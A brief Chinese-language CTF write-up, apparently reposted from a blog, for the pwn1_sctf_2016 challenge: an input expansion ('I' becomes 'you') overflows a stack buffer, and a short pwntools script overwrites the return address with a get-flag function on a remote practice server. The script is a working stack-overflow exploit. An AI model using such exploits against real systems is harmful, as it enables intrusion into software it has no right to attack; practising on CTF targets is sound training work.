pwn1_sctf_2016

这题是栈回溯的题目,看原函数发现没有溢出点,输入空间够大而且输入进行了限制:

但是26行位置进行了替换,当输入"I"的时候会被替换为you, 所以就可以用 20 个 ”I“  (小于 32) 得到 60 (0x3c)个字符造成溢出,再随便填一个返回地址就完成溢出。

文件里面有一个get-falg函数:

所以payload如图:

from pwn import *
p=remote("node3.buuoj.cn",28870)
addr=0x08048f0d
payload=20*'I'+'A'*4 +p32(addr)
p.sendline(payload)
p.interactive()

原文地址:https://www.cnblogs.com/jentleTao/p/13150671.html